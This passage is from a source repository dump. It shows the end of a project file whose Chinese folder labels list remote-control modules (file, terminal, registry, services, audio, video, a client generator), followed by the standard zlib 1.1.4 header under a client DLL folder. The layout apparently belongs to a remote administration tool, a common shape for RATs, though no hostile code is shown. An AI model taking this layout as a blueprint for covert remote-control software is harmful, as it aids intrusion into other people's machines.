38 | {52707111-f42b-41c9-b02d-ded6b27a2b7e}
39 |
40 |
41 | {b8b47b31-1b3f-420a-aebd-f9f6aef16177}
42 |
43 |
44 | {98bb3949-95d3-4ae1-9e7a-51344815555a}
45 |
46 |
47 | {ba31583e-3d2b-4f34-ac0f-9589567fccd9}
48 |
49 |
50 | {b3a92075-6f32-4114-8c59-b0fb0042ed03}
51 |
52 |
53 | {604ae8b3-7d79-4ba3-955d-8244c26c9218}
54 |
55 |
56 | {9cd8e611-2137-4553-b9a9-121877b5e33c}
57 |
58 |
59 | {99dc4626-9f3c-4a3f-bfbd-03c6748fe053}
60 |
61 |
62 | {4fbc083b-8252-4012-836d-6757122c7de7}
63 |
64 |
65 |
66 |
67 |
68 | 资源文件
69 |
70 |
71 | 资源文件
72 |
73 |
74 | 资源文件
75 |
76 |
77 | 资源文件
78 |
79 |
80 | 资源文件
81 |
82 |
83 | 资源文件
84 |
85 |
86 | 资源文件
87 |
88 |
89 | 资源文件
90 |
91 |
92 | 资源文件
93 |
94 |
95 | 资源文件
96 |
97 |
98 | 资源文件
99 |
100 |
101 | 资源文件
102 |
103 |
104 | 资源文件
105 |
106 |
107 | 资源文件
108 |
109 |
110 | 资源文件
111 |
112 |
113 | 资源文件
114 |
115 |
116 |
117 |
118 | 头文件
119 |
120 |
121 | 头文件
122 |
123 |
124 | 头文件
125 |
126 |
127 | 主Dlg
128 |
129 |
130 | 真彩Bar
131 |
132 |
133 | 设置Dlg
134 |
135 |
136 | 设置Dlg
137 |
138 |
139 | 通信类
140 |
141 |
142 | CPU
143 |
144 |
145 | 缓冲区
146 |
147 |
148 | 缓冲区
149 |
150 |
151 | 缓冲区
152 |
153 |
154 | 远程控制
155 |
156 |
157 | 远程文件
158 |
159 |
160 | 头文件
161 |
162 |
163 | 主Dlg
164 |
165 |
166 | 远程文件
167 |
168 |
169 | 头文件
170 |
171 |
172 | 即时消息
173 |
174 |
175 | 远程终端
176 |
177 |
178 | 远程系统管理
179 |
180 |
181 | 远程音频
182 |
183 |
184 | 生成客户端
185 |
186 |
187 | 远程音频
188 |
189 |
190 | 远程注册表
191 |
192 |
193 | 远程服务
194 |
195 |
196 | 远程视频
197 |
198 |
199 | 头文件
200 |
201 |
202 |
203 |
204 | 源文件
205 |
206 |
207 | 源文件
208 |
209 |
210 | 主Dlg
211 |
212 |
213 | 真彩Bar
214 |
215 |
216 | 设置Dlg
217 |
218 |
219 | 设置Dlg
220 |
221 |
222 | 通信类
223 |
224 |
225 | CPU
226 |
227 |
228 | 缓冲区
229 |
230 |
231 | 远程控制
232 |
233 |
234 | 远程文件
235 |
236 |
237 | 源文件
238 |
239 |
240 | 远程文件
241 |
242 |
243 | 即时消息
244 |
245 |
246 | 远程终端
247 |
248 |
249 | 远程系统管理
250 |
251 |
252 | 远程文件
253 |
254 |
255 | 远程音频
256 |
257 |
258 | 生成客户端
259 |
260 |
261 | 远程音频
262 |
263 |
264 | 远程注册表
265 |
266 |
267 | 远程服务
268 |
269 |
270 | 远程视频
271 |
272 |
273 |
274 |
275 | 资源文件
276 |
277 |
278 |
--------------------------------------------------------------------------------
/client/ClientDll/zlib.h:
--------------------------------------------------------------------------------
1 | /* zlib.h -- interface of the 'zlib' general purpose compression library
2 | version 1.1.4, March 11th, 2002
3 |
4 | Copyright (C) 1995-2002 Jean-loup Gailly and Mark Adler
5 |
6 | This software is provided 'as-is', without any express or implied
7 | warranty. In no event will the authors be held liable for any damages
8 | arising from the use of this software.
9 |
10 | Permission is granted to anyone to use this software for any purpose,
11 | including commercial applications, and to alter it and redistribute it
12 | freely, subject to the following restrictions:
13 |
14 | 1. The origin of this software must not be misrepresented; you must not
15 | claim that you wrote the original software. If you use this software
16 | in a product, an acknowledgment in the product documentation would be
17 | appreciated but is not required.
18 | 2. Altered source versions must be plainly marked as such, and must not be
19 | misrepresented as being the original software.
20 | 3. This notice may not be removed or altered from any source distribution.
21 |
22 | Jean-loup Gailly Mark Adler
23 | jloup@gzip.org madler@alumni.caltech.edu
24 |
25 |
26 | The data format used by the zlib library is described by RFCs (Request for
27 | Comments) 1950 to 1952 in the files ftp://ds.internic.net/rfc/rfc1950.txt
28 | (zlib format), rfc1951.txt (deflate format) and rfc1952.txt (gzip format).
29 | */
30 |
31 | #ifndef _ZLIB_H
32 | #define _ZLIB_H
33 |
34 | #include "zconf.h"
35 |
36 | #ifdef __cplusplus
37 | extern "C" {
38 | #endif
39 |
40 | #define ZLIB_VERSION "1.1.4"
41 |
42 | /*
43 | The 'zlib' compression library provides in-memory compression and
44 | decompression functions, including integrity checks of the uncompressed
45 | data. This version of the library supports only one compression method
46 | (deflation) but other algorithms will be added later and will have the same
47 | stream interface.
48 |
49 | Compression can be done in a single step if the buffers are large
50 | enough (for example if an input file is mmap'ed), or can be done by
51 | repeated calls of the compression function. In the latter case, the
52 | application must provide more input and/or consume the output
53 | (providing more output space) before each call.
54 |
55 | The library also supports reading and writing files in gzip (.gz) format
56 | with an interface similar to that of stdio.
57 |
58 | The library does not install any signal handler. The decoder checks
59 | the consistency of the compressed data, so the library should never
60 | crash even in case of corrupted input.
61 | */
62 |
63 | typedef voidpf (*alloc_func) OF((voidpf opaque, uInt items, uInt size));
64 | typedef void (*free_func) OF((voidpf opaque, voidpf address));
65 |
66 | struct internal_state;
67 |
68 | typedef struct z_stream_s {
69 | Bytef *next_in; /* next input byte */
70 | uInt avail_in; /* number of bytes available at next_in */
71 | uLong total_in; /* total nb of input bytes read so far */
72 |
73 | Bytef *next_out; /* next output byte should be put there */
74 | uInt avail_out; /* remaining free space at next_out */
75 | uLong total_out; /* total nb of bytes output so far */
76 |
77 | char *msg; /* last error message, NULL if no error */
78 | struct internal_state FAR *state; /* not visible by applications */
79 |
80 | alloc_func zalloc; /* used to allocate the internal state */
81 | free_func zfree; /* used to free the internal state */
82 | voidpf opaque; /* private data object passed to zalloc and zfree */
83 |
84 | int data_type; /* best guess about the data type: ascii or binary */
85 | uLong adler; /* adler32 value of the uncompressed data */
86 | uLong reserved; /* reserved for future use */
87 | } z_stream;
88 |
89 | typedef z_stream FAR *z_streamp;
90 |
91 | /*
92 | The application must update next_in and avail_in when avail_in has
93 | dropped to zero. It must update next_out and avail_out when avail_out
94 | has dropped to zero. The application must initialize zalloc, zfree and
95 | opaque before calling the init function. All other fields are set by the
96 | compression library and must not be updated by the application.
97 |
98 | The opaque value provided by the application will be passed as the first
99 | parameter for calls of zalloc and zfree. This can be useful for custom
100 | memory management. The compression library attaches no meaning to the
101 | opaque value.
102 |
103 | zalloc must return Z_NULL if there is not enough memory for the object.
104 | If zlib is used in a multi-threaded application, zalloc and zfree must be
105 | thread safe.
106 |
107 | On 16-bit systems, the functions zalloc and zfree must be able to allocate
108 | exactly 65536 bytes, but will not be required to allocate more than this
109 | if the symbol MAXSEG_64K is defined (see zconf.h). WARNING: On MSDOS,
110 | pointers returned by zalloc for objects of exactly 65536 bytes *must*
111 | have their offset normalized to zero. The default allocation function
112 | provided by this library ensures this (see zutil.c). To reduce memory
113 | requirements and avoid any allocation of 64K objects, at the expense of
114 | compression ratio, compile the library with -DMAX_WBITS=14 (see zconf.h).
115 |
116 | The fields total_in and total_out can be used for statistics or
117 | progress reports. After compression, total_in holds the total size of
118 | the uncompressed data and may be saved for use in the decompressor
119 | (particularly if the decompressor wants to decompress everything in
120 | a single step).
121 | */
122 |
123 | /* constants */
124 |
125 | #define Z_NO_FLUSH 0
126 | #define Z_PARTIAL_FLUSH 1 /* will be removed, use Z_SYNC_FLUSH instead */
127 | #define Z_SYNC_FLUSH 2
128 | #define Z_FULL_FLUSH 3
129 | #define Z_FINISH 4
130 | /* Allowed flush values; see deflate() below for details */
131 |
132 | #define Z_OK 0
133 | #define Z_STREAM_END 1
134 | #define Z_NEED_DICT 2
135 | #define Z_ERRNO (-1)
136 | #define Z_STREAM_ERROR (-2)
137 | #define Z_DATA_ERROR (-3)
138 | #define Z_MEM_ERROR (-4)
139 | #define Z_BUF_ERROR (-5)
140 | #define Z_VERSION_ERROR (-6)
141 | /* Return codes for the compression/decompression functions. Negative
142 | * values are errors, positive values are used for special but normal events.
143 | */
144 |
145 | #define Z_NO_COMPRESSION 0
146 | #define Z_BEST_SPEED 1
147 | #define Z_BEST_COMPRESSION 9
148 | #define Z_DEFAULT_COMPRESSION (-1)
149 | /* compression levels */
150 |
151 | #define Z_FILTERED 1
152 | #define Z_HUFFMAN_ONLY 2
153 | #define Z_DEFAULT_STRATEGY 0
154 | /* compression strategy; see deflateInit2() below for details */
155 |
156 | #define Z_BINARY 0
157 | #define Z_ASCII 1
158 | #define Z_UNKNOWN 2
159 | /* Possible values of the data_type field */
160 |
161 | #define Z_DEFLATED 8
162 | /* The deflate compression method (the only one supported in this version) */
163 |
164 | #define Z_NULL 0 /* for initializing zalloc, zfree, opaque */
165 |
166 | #define zlib_version zlibVersion()
167 | /* for compatibility with versions < 1.0.2 */
168 |
169 | /* basic functions */
170 |
171 | ZEXTERN const char * ZEXPORT zlibVersion OF((void));
172 | /* The application can compare zlibVersion and ZLIB_VERSION for consistency.
173 | If the first character differs, the library code actually used is
174 | not compatible with the zlib.h header file used by the application.
175 | This check is automatically made by deflateInit and inflateInit.
176 | */
177 |
178 | /*
179 | ZEXTERN int ZEXPORT deflateInit OF((z_streamp strm, int level));
180 |
181 | Initializes the internal stream state for compression. The fields
182 | zalloc, zfree and opaque must be initialized before by the caller.
183 | If zalloc and zfree are set to Z_NULL, deflateInit updates them to
184 | use default allocation functions.
185 |
186 | The compression level must be Z_DEFAULT_COMPRESSION, or between 0 and 9:
187 | 1 gives best speed, 9 gives best compression, 0 gives no compression at
188 | all (the input data is simply copied a block at a time).
189 | Z_DEFAULT_COMPRESSION requests a default compromise between speed and
190 | compression (currently equivalent to level 6).
191 |
192 | deflateInit returns Z_OK if success, Z_MEM_ERROR if there was not
193 | enough memory, Z_STREAM_ERROR if level is not a valid compression level,
194 | Z_VERSION_ERROR if the zlib library version (zlib_version) is incompatible
195 | with the version assumed by the caller (ZLIB_VERSION).
196 | msg is set to null if there is no error message. deflateInit does not
197 | perform any compression: this will be done by deflate().
198 | */
199 |
200 |
201 | ZEXTERN int ZEXPORT deflate OF((z_streamp strm, int flush));
202 | /*
203 | deflate compresses as much data as possible, and stops when the input
204 | buffer becomes empty or the output buffer becomes full. It may introduce some
205 | output latency (reading input without producing any output) except when
206 | forced to flush.
207 |
208 | The detailed semantics are as follows. deflate performs one or both of the
209 | following actions:
210 |
211 | - Compress more input starting at next_in and update next_in and avail_in
212 | accordingly. If not all input can be processed (because there is not
213 | enough room in the output buffer), next_in and avail_in are updated and
214 | processing will resume at this point for the next call of deflate().
215 |
216 | - Provide more output starting at next_out and update next_out and avail_out
217 | accordingly. This action is forced if the parameter flush is non zero.
218 | Forcing flush frequently degrades the compression ratio, so this parameter
219 | should be set only when necessary (in interactive applications).
220 | Some output may be provided even if flush is not set.
221 |
222 | Before the call of deflate(), the application should ensure that at least
223 | one of the actions is possible, by providing more input and/or consuming
224 | more output, and updating avail_in or avail_out accordingly; avail_out
225 | should never be zero before the call. The application can consume the
226 | compressed output when it wants, for example when the output buffer is full
227 | (avail_out == 0), or after each call of deflate(). If deflate returns Z_OK
228 | and with zero avail_out, it must be called again after making room in the
229 | output buffer because there might be more output pending.
230 |
231 | If the parameter flush is set to Z_SYNC_FLUSH, all pending output is
232 | flushed to the output buffer and the output is aligned on a byte boundary, so
233 | that the decompressor can get all input data available so far. (In particular
234 | avail_in is zero after the call if enough output space has been provided
235 | before the call.) Flushing may degrade compression for some compression
236 | algorithms and so it should be used only when necessary.
237 |
238 | If flush is set to Z_FULL_FLUSH, all output is flushed as with
239 | Z_SYNC_FLUSH, and the compression state is reset so that decompression can
240 | restart from this point if previous compressed data has been damaged or if
241 | random access is desired. Using Z_FULL_FLUSH too often can seriously degrade
242 | the compression.
243 |
244 | If deflate returns with avail_out == 0, this function must be called again
245 | with the same value of the flush parameter and more output space (updated
246 | avail_out), until the flush is complete (deflate returns with non-zero
247 | avail_out).
248 |
249 | If the parameter flush is set to Z_FINISH, pending input is processed,
250 | pending output is flushed and deflate returns with Z_STREAM_END if there
251 | was enough output space; if deflate returns with Z_OK, this function must be
252 | called again with Z_FINISH and more output space (updated avail_out) but no
253 | more input data, until it returns with Z_STREAM_END or an error. After
254 | deflate has returned Z_STREAM_END, the only possible operations on the
255 | stream are deflateReset or deflateEnd.
256 |
257 | Z_FINISH can be used immediately after deflateInit if all the compression
258 | is to be done in a single step. In this case, avail_out must be at least
259 | 0.1% larger than avail_in plus 12 bytes. If deflate does not return
260 | Z_STREAM_END, then it must be called again as described above.
261 |
262 | deflate() sets strm->adler to the adler32 checksum of all input read
263 | so far (that is, total_in bytes).
264 |
265 | deflate() may update data_type if it can make a good guess about
266 | the input data type (Z_ASCII or Z_BINARY). In doubt, the data is considered
267 | binary. This field is only for information purposes and does not affect
268 | the compression algorithm in any manner.
269 |
270 | deflate() returns Z_OK if some progress has been made (more input
271 | processed or more output produced), Z_STREAM_END if all input has been
272 | consumed and all output has been produced (only when flush is set to
273 | Z_FINISH), Z_STREAM_ERROR if the stream state was inconsistent (for example
274 | if next_in or next_out was NULL), Z_BUF_ERROR if no progress is possible
275 | (for example avail_in or avail_out was zero).
276 | */
277 |
278 |
279 | ZEXTERN int ZEXPORT deflateEnd OF((z_streamp strm));
280 | /*
281 | All dynamically allocated data structures for this stream are freed.
282 | This function discards any unprocessed input and does not flush any
283 | pending output.
284 |
285 | deflateEnd returns Z_OK if success, Z_STREAM_ERROR if the
286 | stream state was inconsistent, Z_DATA_ERROR if the stream was freed
287 | prematurely (some input or output was discarded). In the error case,
288 | msg may be set but then points to a static string (which must not be
289 | deallocated).
290 | */
291 |
292 |
293 | /*
294 | ZEXTERN int ZEXPORT inflateInit OF((z_streamp strm));
295 |
296 | Initializes the internal stream state for decompression. The fields
297 | next_in, avail_in, zalloc, zfree and opaque must be initialized before by
298 | the caller. If next_in is not Z_NULL and avail_in is large enough (the exact
299 | value depends on the compression method), inflateInit determines the
300 | compression method from the zlib header and allocates all data structures
301 | accordingly; otherwise the allocation will be deferred to the first call of
302 | inflate. If zalloc and zfree are set to Z_NULL, inflateInit updates them to
303 | use default allocation functions.
304 |
305 | inflateInit returns Z_OK if success, Z_MEM_ERROR if there was not enough
306 | memory, Z_VERSION_ERROR if the zlib library version is incompatible with the
307 | version assumed by the caller. msg is set to null if there is no error
308 | message. inflateInit does not perform any decompression apart from reading
309 | the zlib header if present: this will be done by inflate(). (So next_in and
310 | avail_in may be modified, but next_out and avail_out are unchanged.)
311 | */
312 |
313 |
314 | ZEXTERN int ZEXPORT inflate OF((z_streamp strm, int flush));
315 | /*
316 | inflate decompresses as much data as possible, and stops when the input
317 | buffer becomes empty or the output buffer becomes full. It may some
318 | introduce some output latency (reading input without producing any output)
319 | except when forced to flush.
320 |
321 | The detailed semantics are as follows. inflate performs one or both of the
322 | following actions:
323 |
324 | - Decompress more input starting at next_in and update next_in and avail_in
325 | accordingly. If not all input can be processed (because there is not
326 | enough room in the output buffer), next_in is updated and processing
327 | will resume at this point for the next call of inflate().
328 |
329 | - Provide more output starting at next_out and update next_out and avail_out
330 | accordingly. inflate() provides as much output as possible, until there
331 | is no more input data or no more space in the output buffer (see below
332 | about the flush parameter).
333 |
334 | Before the call of inflate(), the application should ensure that at least
335 | one of the actions is possible, by providing more input and/or consuming
336 | more output, and updating the next_* and avail_* values accordingly.
337 | The application can consume the uncompressed output when it wants, for
338 | example when the output buffer is full (avail_out == 0), or after each
339 | call of inflate(). If inflate returns Z_OK and with zero avail_out, it
340 | must be called again after making room in the output buffer because there
341 | might be more output pending.
342 |
343 | If the parameter flush is set to Z_SYNC_FLUSH, inflate flushes as much
344 | output as possible to the output buffer. The flushing behavior of inflate is
345 | not specified for values of the flush parameter other than Z_SYNC_FLUSH
346 | and Z_FINISH, but the current implementation actually flushes as much output
347 | as possible anyway.
348 |
349 | inflate() should normally be called until it returns Z_STREAM_END or an
350 | error. However if all decompression is to be performed in a single step
351 | (a single call of inflate), the parameter flush should be set to
352 | Z_FINISH. In this case all pending input is processed and all pending
353 | output is flushed; avail_out must be large enough to hold all the
354 | uncompressed data. (The size of the uncompressed data may have been saved
355 | by the compressor for this purpose.) The next operation on this stream must
356 | be inflateEnd to deallocate the decompression state. The use of Z_FINISH
357 | is never required, but can be used to inform inflate that a faster routine
358 | may be used for the single inflate() call.
359 |
360 | If a preset dictionary is needed at this point (see inflateSetDictionary
361 | below), inflate sets strm-adler to the adler32 checksum of the
362 | dictionary chosen by the compressor and returns Z_NEED_DICT; otherwise
363 | it sets strm->adler to the adler32 checksum of all output produced
364 | so far (that is, total_out bytes) and returns Z_OK, Z_STREAM_END or
365 | an error code as described below. At the end of the stream, inflate()
366 | checks that its computed adler32 checksum is equal to that saved by the
367 | compressor and returns Z_STREAM_END only if the checksum is correct.
368 |
369 | inflate() returns Z_OK if some progress has been made (more input processed
370 | or more output produced), Z_STREAM_END if the end of the compressed data has
371 | been reached and all uncompressed output has been produced, Z_NEED_DICT if a
372 | preset dictionary is needed at this point, Z_DATA_ERROR if the input data was
373 | corrupted (input stream not conforming to the zlib format or incorrect
374 | adler32 checksum), Z_STREAM_ERROR if the stream structure was inconsistent
375 | (for example if next_in or next_out was NULL), Z_MEM_ERROR if there was not
376 | enough memory, Z_BUF_ERROR if no progress is possible or if there was not
377 | enough room in the output buffer when Z_FINISH is used. In the Z_DATA_ERROR
378 | case, the application may then call inflateSync to look for a good
379 | compression block.
380 | */
381 |
382 |
383 | ZEXTERN int ZEXPORT inflateEnd OF((z_streamp strm));
384 | /*
385 | All dynamically allocated data structures for this stream are freed.
386 | This function discards any unprocessed input and does not flush any
387 | pending output.
388 |
389 | inflateEnd returns Z_OK if success, Z_STREAM_ERROR if the stream state
390 | was inconsistent. In the error case, msg may be set but then points to a
391 | static string (which must not be deallocated).
392 | */
393 |
394 | /* Advanced functions */
395 |
396 | /*
397 | The following functions are needed only in some special applications.
398 | */
399 |
400 | /*
401 | ZEXTERN int ZEXPORT deflateInit2 OF((z_streamp strm,
402 | int level,
403 | int method,
404 | int windowBits,
405 | int memLevel,
406 | int strategy));
407 |
408 | This is another version of deflateInit with more compression options. The
409 | fields next_in, zalloc, zfree and opaque must be initialized before by
410 | the caller.
411 |
412 | The method parameter is the compression method. It must be Z_DEFLATED in
413 | this version of the library.
414 |
415 | The windowBits parameter is the base two logarithm of the window size
416 | (the size of the history buffer). It should be in the range 8..15 for this
417 | version of the library. Larger values of this parameter result in better
418 | compression at the expense of memory usage. The default value is 15 if
419 | deflateInit is used instead.
420 |
421 | The memLevel parameter specifies how much memory should be allocated
422 | for the internal compression state. memLevel=1 uses minimum memory but
423 | is slow and reduces compression ratio; memLevel=9 uses maximum memory
424 | for optimal speed. The default value is 8. See zconf.h for total memory
425 | usage as a function of windowBits and memLevel.
426 |
427 | The strategy parameter is used to tune the compression algorithm. Use the
428 | value Z_DEFAULT_STRATEGY for normal data, Z_FILTERED for data produced by a
429 | filter (or predictor), or Z_HUFFMAN_ONLY to force Huffman encoding only (no
430 | string match). Filtered data consists mostly of small values with a
431 | somewhat random distribution. In this case, the compression algorithm is
432 | tuned to compress them better. The effect of Z_FILTERED is to force more
433 | Huffman coding and less string matching; it is somewhat intermediate
434 | between Z_DEFAULT and Z_HUFFMAN_ONLY. The strategy parameter only affects
435 | the compression ratio but not the correctness of the compressed output even
436 | if it is not set appropriately.
437 |
438 | deflateInit2 returns Z_OK if success, Z_MEM_ERROR if there was not enough
439 | memory, Z_STREAM_ERROR if a parameter is invalid (such as an invalid
440 | method). msg is set to null if there is no error message. deflateInit2 does
441 | not perform any compression: this will be done by deflate().
442 | */
443 |
444 | ZEXTERN int ZEXPORT deflateSetDictionary OF((z_streamp strm,
445 | const Bytef *dictionary,
446 | uInt dictLength));
447 | /*
448 | Initializes the compression dictionary from the given byte sequence
449 | without producing any compressed output. This function must be called
450 | immediately after deflateInit, deflateInit2 or deflateReset, before any
451 | call of deflate. The compressor and decompressor must use exactly the same
452 | dictionary (see inflateSetDictionary).
453 |
454 | The dictionary should consist of strings (byte sequences) that are likely
455 | to be encountered later in the data to be compressed, with the most commonly
456 | used strings preferably put towards the end of the dictionary. Using a
457 | dictionary is most useful when the data to be compressed is short and can be
458 | predicted with good accuracy; the data can then be compressed better than
459 | with the default empty dictionary.
460 |
461 | Depending on the size of the compression data structures selected by
462 | deflateInit or deflateInit2, a part of the dictionary may in effect be
463 | discarded, for example if the dictionary is larger than the window size in
464 | deflate or deflate2. Thus the strings most likely to be useful should be
465 | put at the end of the dictionary, not at the front.
466 |
467 | Upon return of this function, strm->adler is set to the Adler32 value
468 | of the dictionary; the decompressor may later use this value to determine
469 | which dictionary has been used by the compressor. (The Adler32 value
470 | applies to the whole dictionary even if only a subset of the dictionary is
471 | actually used by the compressor.)
472 |
473 | deflateSetDictionary returns Z_OK if success, or Z_STREAM_ERROR if a
474 | parameter is invalid (such as NULL dictionary) or the stream state is
475 | inconsistent (for example if deflate has already been called for this stream
476 | or if the compression method is bsort). deflateSetDictionary does not
477 | perform any compression: this will be done by deflate().
478 | */
479 |
480 | ZEXTERN int ZEXPORT deflateCopy OF((z_streamp dest,
481 | z_streamp source));
482 | /*
483 | Sets the destination stream as a complete copy of the source stream.
484 |
485 | This function can be useful when several compression strategies will be
486 | tried, for example when there are several ways of pre-processing the input
487 | data with a filter. The streams that will be discarded should then be freed
488 | by calling deflateEnd. Note that deflateCopy duplicates the internal
489 | compression state which can be quite large, so this strategy is slow and
490 | can consume lots of memory.
491 |
492 | deflateCopy returns Z_OK if success, Z_MEM_ERROR if there was not
493 | enough memory, Z_STREAM_ERROR if the source stream state was inconsistent
494 | (such as zalloc being NULL). msg is left unchanged in both source and
495 | destination.
496 | */
497 |
498 | ZEXTERN int ZEXPORT deflateReset OF((z_streamp strm));
499 | /*
500 | This function is equivalent to deflateEnd followed by deflateInit,
501 | but does not free and reallocate all the internal compression state.
502 | The stream will keep the same compression level and any other attributes
503 | that may have been set by deflateInit2.
504 |
505 | deflateReset returns Z_OK if success, or Z_STREAM_ERROR if the source
506 | stream state was inconsistent (such as zalloc or state being NULL).
507 | */
508 |
509 | ZEXTERN int ZEXPORT deflateParams OF((z_streamp strm,
510 | int level,
511 | int strategy));
512 | /*
513 | Dynamically update the compression level and compression strategy. The
514 | interpretation of level and strategy is as in deflateInit2. This can be
515 | used to switch between compression and straight copy of the input data, or
516 | to switch to a different kind of input data requiring a different
517 | strategy. If the compression level is changed, the input available so far
518 | is compressed with the old level (and may be flushed); the new level will
519 | take effect only at the next call of deflate().
520 |
521 | Before the call of deflateParams, the stream state must be set as for
522 | a call of deflate(), since the currently available input may have to
523 | be compressed and flushed. In particular, strm->avail_out must be non-zero.
524 |
525 | deflateParams returns Z_OK if success, Z_STREAM_ERROR if the source
526 | stream state was inconsistent or if a parameter was invalid, Z_BUF_ERROR
527 | if strm->avail_out was zero.
528 | */
529 |
530 | /*
531 | ZEXTERN int ZEXPORT inflateInit2 OF((z_streamp strm,
532 | int windowBits));
533 |
534 | This is another version of inflateInit with an extra parameter. The
535 | fields next_in, avail_in, zalloc, zfree and opaque must be initialized
536 | before by the caller.
537 |
538 | The windowBits parameter is the base two logarithm of the maximum window
539 | size (the size of the history buffer). It should be in the range 8..15 for
540 | this version of the library. The default value is 15 if inflateInit is used
541 | instead. If a compressed stream with a larger window size is given as
542 | input, inflate() will return with the error code Z_DATA_ERROR instead of
543 | trying to allocate a larger window.
544 |
545 | inflateInit2 returns Z_OK if success, Z_MEM_ERROR if there was not enough
546 | memory, Z_STREAM_ERROR if a parameter is invalid (such as a negative
547 | memLevel). msg is set to null if there is no error message. inflateInit2
548 | does not perform any decompression apart from reading the zlib header if
549 | present: this will be done by inflate(). (So next_in and avail_in may be
550 | modified, but next_out and avail_out are unchanged.)
551 | */
552 |
553 | ZEXTERN int ZEXPORT inflateSetDictionary OF((z_streamp strm,
554 | const Bytef *dictionary,
555 | uInt dictLength));
556 | /*
557 | Initializes the decompression dictionary from the given uncompressed byte
558 | sequence. This function must be called immediately after a call of inflate
559 | if this call returned Z_NEED_DICT. The dictionary chosen by the compressor
560 | can be determined from the Adler32 value returned by this call of
561 | inflate. The compressor and decompressor must use exactly the same
562 | dictionary (see deflateSetDictionary).
563 |
564 | inflateSetDictionary returns Z_OK if success, Z_STREAM_ERROR if a
565 | parameter is invalid (such as NULL dictionary) or the stream state is
566 | inconsistent, Z_DATA_ERROR if the given dictionary doesn't match the
567 | expected one (incorrect Adler32 value). inflateSetDictionary does not
568 | perform any decompression: this will be done by subsequent calls of
569 | inflate().
570 | */
571 |
572 | ZEXTERN int ZEXPORT inflateSync OF((z_streamp strm));
573 | /*
574 | Skips invalid compressed data until a full flush point (see above the
575 | description of deflate with Z_FULL_FLUSH) can be found, or until all
576 | available input is skipped. No output is provided.
577 |
578 | inflateSync returns Z_OK if a full flush point has been found, Z_BUF_ERROR
579 | if no more input was provided, Z_DATA_ERROR if no flush point has been found,
580 | or Z_STREAM_ERROR if the stream structure was inconsistent. In the success
581 | case, the application may save the current current value of total_in which
582 | indicates where valid compressed data was found. In the error case, the
583 | application may repeatedly call inflateSync, providing more input each time,
584 | until success or end of the input data.
585 | */
586 |
587 | ZEXTERN int ZEXPORT inflateReset OF((z_streamp strm));
588 | /*
589 | This function is equivalent to inflateEnd followed by inflateInit,
590 | but does not free and reallocate all the internal decompression state.
591 | The stream will keep attributes that may have been set by inflateInit2.
592 |
593 | inflateReset returns Z_OK if success, or Z_STREAM_ERROR if the source
594 | stream state was inconsistent (such as zalloc or state being NULL).
595 | */
596 |
597 |
598 | /* utility functions */
599 |
600 | /*
601 | The following utility functions are implemented on top of the
602 | basic stream-oriented functions. To simplify the interface, some
603 | default options are assumed (compression level and memory usage,
604 | standard memory allocation functions). The source code of these
605 | utility functions can easily be modified if you need special options.
606 | */
607 |
608 | ZEXTERN int ZEXPORT compress OF((Bytef *dest, uLongf *destLen,
609 | const Bytef *source, uLong sourceLen));
610 | /*
611 | Compresses the source buffer into the destination buffer. sourceLen is
612 | the byte length of the source buffer. Upon entry, destLen is the total
613 | size of the destination buffer, which must be at least 0.1% larger than
614 | sourceLen plus 12 bytes. Upon exit, destLen is the actual size of the
615 | compressed buffer.
616 | This function can be used to compress a whole file at once if the
617 | input file is mmap'ed.
618 | compress returns Z_OK if success, Z_MEM_ERROR if there was not
619 | enough memory, Z_BUF_ERROR if there was not enough room in the output
620 | buffer.
621 | */
622 |
623 | ZEXTERN int ZEXPORT compress2 OF((Bytef *dest, uLongf *destLen,
624 | const Bytef *source, uLong sourceLen,
625 | int level));
626 | /*
627 | Compresses the source buffer into the destination buffer. The level
628 | parameter has the same meaning as in deflateInit. sourceLen is the byte
629 | length of the source buffer. Upon entry, destLen is the total size of the
630 | destination buffer, which must be at least 0.1% larger than sourceLen plus
631 | 12 bytes. Upon exit, destLen is the actual size of the compressed buffer.
632 |
633 | compress2 returns Z_OK if success, Z_MEM_ERROR if there was not enough
634 | memory, Z_BUF_ERROR if there was not enough room in the output buffer,
635 | Z_STREAM_ERROR if the level parameter is invalid.
636 | */
637 |
638 | ZEXTERN int ZEXPORT uncompress OF((Bytef *dest, uLongf *destLen,
639 | const Bytef *source, uLong sourceLen));
640 | /*
641 | Decompresses the source buffer into the destination buffer. sourceLen is
642 | the byte length of the source buffer. Upon entry, destLen is the total
643 | size of the destination buffer, which must be large enough to hold the
644 | entire uncompressed data. (The size of the uncompressed data must have
645 | been saved previously by the compressor and transmitted to the decompressor
646 | by some mechanism outside the scope of this compression library.)
647 | Upon exit, destLen is the actual size of the compressed buffer.
648 | This function can be used to decompress a whole file at once if the
649 | input file is mmap'ed.
650 |
651 | uncompress returns Z_OK if success, Z_MEM_ERROR if there was not
652 | enough memory, Z_BUF_ERROR if there was not enough room in the output
653 | buffer, or Z_DATA_ERROR if the input data was corrupted.
654 | */
655 |
656 |
657 | typedef voidp gzFile;
658 |
659 | ZEXTERN gzFile ZEXPORT gzopen OF((const char *path, const char *mode));
660 | /*
661 | Opens a gzip (.gz) file for reading or writing. The mode parameter
662 | is as in fopen ("rb" or "wb") but can also include a compression level
663 | ("wb9") or a strategy: 'f' for filtered data as in "wb6f", 'h' for
664 | Huffman only compression as in "wb1h". (See the description
665 | of deflateInit2 for more information about the strategy parameter.)
666 |
667 | gzopen can be used to read a file which is not in gzip format; in this
668 | case gzread will directly read from the file without decompression.
669 |
670 | gzopen returns NULL if the file could not be opened or if there was
671 | insufficient memory to allocate the (de)compression state; errno
672 | can be checked to distinguish the two cases (if errno is zero, the
673 | zlib error is Z_MEM_ERROR). */
674 |
675 | ZEXTERN gzFile ZEXPORT gzdopen OF((int fd, const char *mode));
676 | /*
677 | gzdopen() associates a gzFile with the file descriptor fd. File
678 | descriptors are obtained from calls like open, dup, creat, pipe or
679 | fileno (in the file has been previously opened with fopen).
680 | The mode parameter is as in gzopen.
681 | The next call of gzclose on the returned gzFile will also close the
682 | file descriptor fd, just like fclose(fdopen(fd), mode) closes the file
683 | descriptor fd. If you want to keep fd open, use gzdopen(dup(fd), mode).
684 | gzdopen returns NULL if there was insufficient memory to allocate
685 | the (de)compression state.
686 | */
687 |
688 | ZEXTERN int ZEXPORT gzsetparams OF((gzFile file, int level, int strategy));
689 | /*
690 | Dynamically update the compression level or strategy. See the description
691 | of deflateInit2 for the meaning of these parameters.
692 | gzsetparams returns Z_OK if success, or Z_STREAM_ERROR if the file was not
693 | opened for writing.
694 | */
695 |
696 | ZEXTERN int ZEXPORT gzread OF((gzFile file, voidp buf, unsigned len));
697 | /*
